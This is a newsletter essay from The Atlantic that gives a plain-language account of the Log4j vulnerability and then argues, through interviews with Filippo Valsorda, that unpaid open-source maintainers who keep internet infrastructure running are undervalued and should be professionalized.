Newsletters

Guardians of the Internet

It's a miracle things work at all.

By Charlie Warzel

Late last week, you may have heard rumblings about a scary-sounding new software bug that has affected major companies across the world, including Microsoft and Cisco. In a headline, Wired declared that “The Internet Is on Fire”; the director of the U.S. Cybersecurity and Infrastructure Security Agency said the vulnerability is “one of the most serious that I’ve seen in my entire career, if not the most serious.” There are, according to cybersecurity writer Robert Graham, “over 10,000 products that have been identified as vulnerable, some very popular ones,” including Apple’s iCloud, IBM, and Amazon Web Services. Graham notes that folks who don’t work in cybersecurity ought not to panic because “the bug doesn’t threaten you personally nearly as much as it threatens services out on the Internet.” Still, Axios reports that the flaw leaves hundreds of millions of systems vulnerable to attack and that it’s likely we haven’t seen the extent of the damage from attackers yet.

I’m going to briefly attempt to explain (in excruciatingly reductive terms) what the bug is and why it matters. Then, I'm going to talk about what it says about the actual infrastructure of the internet. It includes a first-hand account of the ways the web we use is just barely held together.

There is a piece of widely used open-source software called “Log4j.” Log4j is used by developers to log information (i.e., to keep a record of activity within an application). All kinds of activity gets logged into servers using these tools, but—and here’s where I’m probably butchering complex computer stuff—what makes the recently discovered flaw so worrying is that a wider array of information is getting logged into systems that use this software tool. Some people have figured out this vulnerability and have taken advantage of it. Here’s how Wired described it:

All an attacker has to do to exploit the flaw is strategically send a malicious code string that eventually gets logged by Log4j version 2.0 or higher. The exploit lets an attacker load arbitrary Java code on a server, allowing them to take control.

Sounds complicated! But what makes this flaw so serious is that exploiting it is apparently pretty easy if it isn’t patched. Here’s an example, again from Wired:

Minecraft screenshots circulating on forums appear to show players exploiting the vulnerability from the Minecraft chat function. On Friday, some Twitter users began changing their display names to code strings that could trigger the exploit. Another user changed his iPhone name to do the same and submitted the finding to Apple. Researchers told WIRED that the approach could also potentially work using email.

According to Graham, what makes the attack so insidious is that it “gets smuggled in as mere ‘data’ that’s supposed to be harmless.” (If you’re interested in a more plain-English explanation, I’d urge you to read Robert Graham’s piece.)

When big cybersecurity vulnerabilities pop up, people who know about or care a lot about tech tend to remark on how the internet’s infrastructure, notwithstanding its size and critical importance, is just barely held together—that “it’s a miracle that anything works at all.” I’ve always been fascinated and terrified by this notion.

On Sunday, while I was researching Log4j, I came across a blog post by Filippo Valsorda, a Google employee who is deep into the open-source-software world. Valsorda’s post offered a different perspective on the “it’s a miracle that anything works at all” idea. Log4j, he notes, is open source, which means that it’s not owned by anyone, but anyone can use and modify it. The internet, though, is a dynamic place, and software that’s in heavy use needs to be maintained. Who does that maintenance on open-source code? Volunteers.

Valsorda went and found one of Log4j’s maintainers—the person who patched the huge vulnerability—and noticed that this person was doing maintenance work, basically for free (maintainers are sometimes tipped or get donations via Patreon or GitHub), outside of his day job.

For people who are familiar with software and systems architecture, this unpaid or low-paid volunteer system is an unfortunate truism of the internet—there’s even a famous web comic about it. But if you’re a casual user of the internet who doesn’t pay tons of attention to tech stuff, you may not realize that big, important pieces of the internet’s infrastructure are held together by a corps of unsung volunteers. This reality is chaotic, miraculous, and seemingly untenable. I also think it’s a fascinating example of how, in most industries, we lavish attention on big innovations, but rarely celebrate those who do the crucial work of keeping them afloat.

Valsorda knows this feeling firsthand. He was a maintainer for a piece of open-source software called youtube-dl, a popular program used to download videos from YouTube. When I caught up with him on Monday, he told me that working with open-source software was something he dabbled in during high school for fun, and that it quickly led him to a full-time, paid job with a company. First, he found a project he was interested in. He made some improvements to it, offered some ideas about how to restructure the code, and offered support. Soon he became a maintainer and it changed the course of his life.

“I didn’t go to college. When I was in high school I contributed to open-source projects and got a lot of practical experience and some of the stuff got popular and, boom, I got a job,” he said. “It’s the sort of thing that doesn’t really happen in other places. I can’t just stitch somebody up on the street and then they let me become a surgeon.”

Valsorda says that the status quo of open-source-maintainer culture is unsustainable. When I asked him how somebody becomes a maintainer, he pointed me to a tweet from a developer who maintains a logging tool similar to the one that was compromised. Their reason for working as a volunteer? “I didn’t want log4net to die, so I stepped up.” This is obviously admirable, but, as an outsider, it’s concerning to think what might have happened if he hadn’t stepped up. Relying on a sense of duty from a disparate group of software engineers to help power the internet doesn’t feel like a sustainable system.

In Valsorda’s case, somebody maintaining youtube-dl was planning to step down and asked him if he wanted the role. But there’s no formal structure for choosing who will carry on maintaining a project or piece of software. “Somehow it works, and you have these crews of people linked up around the world with no prior coordination. They’re working toward similar goals without a formal governance structure and it’s honestly mind-blowing.”

What makes the open-source world so interesting, according to Valsorda, is that everyone is there for different reasons. Now Valsorda is paid by Google to work on open-source projects. But there are people who maintain because it’s a great way to learn while doing—a kind of experiential curriculum. There are others who get involved because they’re passionate about a piece of software, because they use it or they see its potential. Valsorda told me about a guitarist for a band in Paris (he didn’t want to out the developer) who works on a piece of software “that is becoming an important part of the internet’s infrastructure” simply because the guitarist is passionate about it. Others see it as a way to audition for desirable jobs. If they maintain a piece of software that big companies use, it’s a bit like being a third-party vendor. Sometimes that company will offer you a job—it happened to Valsorda.

But none of these incentives are a sustainable path for the internet, he argues. Open-source projects, by nature, don’t have a lot of oversight. And pieces of digital infrastructure can fall by the wayside if their maintainers drop out. Valsorda’s youtube-dl no longer has a maintainer, for example. “Sometimes there’s a vacuum and nobody notices because it turns out that a person in Nebraska is the only person that keeps a project running in their spare time and they’re underfunded so they can’t apply the amount of care and in-depth thinking that the project deserves,” Valsorda explains.

As Log4j demonstrates, some of this software is fundamental to the health of major parts of the internet. And there may be only a small team of people paying attention to it, between other moments in their day job. And only because they happen to care.

If this sounds like madness to you, Valsorda agrees. Sort of. While he believes the system needs to change, he’s also worried about professionalizing it. He argues that there’s magic in the chaos of this ecosystem. Projects can rise up out of nowhere because there’s not a bureaucratic system that determines which projects get funded or staffed. He’s also aware that most maintainers are doing the work of a senior software engineer (a job that pays anywhere from $150,000 to more than $300,000 a year) and often receiving less than $12,000 a year in donations. Though open-source work can help establish a career, Valsorda argues that there’s no reliable career path for maintainers—it’s a crapshoot.

Valsorda believes we can underwrite this ecosystem in a way that preserves the chaos. “What I  want to see happen is a professionalization of the role of maintainer,” he told me. “I want them to be able to work on these important projects full-time, as professionals.” He argues that, because many maintainers are volunteers, they’re incentivized to only do the parts of the job they enjoy, which don’t usually include important administrative tasks. “Professional means doing the parts of the job you don’t want to do—all the parts of the job,” he said. His proposal is to make maintainer culture more sophisticated. That means, instead of relying on Patreon donations or online tip jars, setting up a billing infrastructure so that maintainers can invoice big companies that license their software for critical parts of their organizational infrastructure. He believes the companies with the means will pay.

The current scenario, Valsorda argues, is a classic example of institutions, including big corporations, taking advantage of a so-called passion economy. Engineers end up doing free labor because the job isn’t framed as labor, but as a calling. Valsorda strongly believes that professionalizing maintainer culture to get volunteers paid fairly won’t make them any worse at their job. “We have a tendency to idolize the genius who does something and doesn’t care about compensation because it is their passion or their calling,” he said. “I don’t buy it. I’m passionate and I do software engineering because I love it. But it’s also a job. Many of my best colleagues treat engineering as a job, nothing more. They sign off at the end of the workday. And somehow they’re treated like they’re crazy because they don’t want to work for free.”

Valsorda’s blog post elicited a strong reaction from others in the open-source-software community. Some developers are skeptical (one said it sounded “terrifying”) of getting big companies further intertwined in what is, by nature, a decentralized system. Other volunteers commenting on the post noted that some people don’t want or have time to work on open-source software in a professional capacity. Plenty agreed that the status quo must change, but aren’t sure what that ought to look like. Some tweets suggested Valsorda was vastly oversimplifying the state of, and solutions to, open-source problems, while others appreciated him reigniting the conversation.

This conversation struck me because it touched on a bigger problem: how we assign both cultural and monetary value to work. The pandemic was a stark reminder of what work is truly essential in a society. Most of it is done in the service sector and in caregiving. It is, in many cases, the most vital and meaningful work, and yet its practitioners are not adequately compensated. Most are treated as disposable entities.

I’m not suggesting a one-to-one comparison between software engineers and frontline health-care workers. But in both cases, there is a disconnect between the actual, logistical value of maintenance and care work in a system and the way we compensate and value these contributions societally. We pay less attention to infrastructure because it is not exciting. Too often we refuse to see what is holding a system together until it is too late. Only then does the failure become glaring.

All of this reminds me of a phrase used by The New York Times to describe the process of reporting, writing, editing, and, especially, printing and distributing its print product: “the daily miracle.” Your quotidian copy of the newspaper is the result of a herculean effort involving hundreds, if not thousands, of people all working frantically inside a chaotic, complex system that somehow manages to deliver the product each day like clockwork.

The internet is an especially complex system. That it all works is a miracle happening every nanosecond, not just once a day. Parts of it are professionalized, while others rely on a commons that is cobbled together in real time. Parts of it are always under some form of attack. It is, for now, a resilient system, thanks to people who value and believe in it so much that they’re willing to donate their time and energy and expertise to its upkeep. Sometimes, it takes moments like last week’s to remember the fragility of systems that feel, to us outsiders, almost too big to fail.

I’m not sure what the path forward is for open-source software (or for that matter, the internet). But I believe its health and safety requires not taking for granted the unsung work of the maintainers.

Charlie Warzel is a staff writer at The Atlantic and the author of its newsletter Galaxy Brain, about technology, media, and big ideas. He can be reached via email.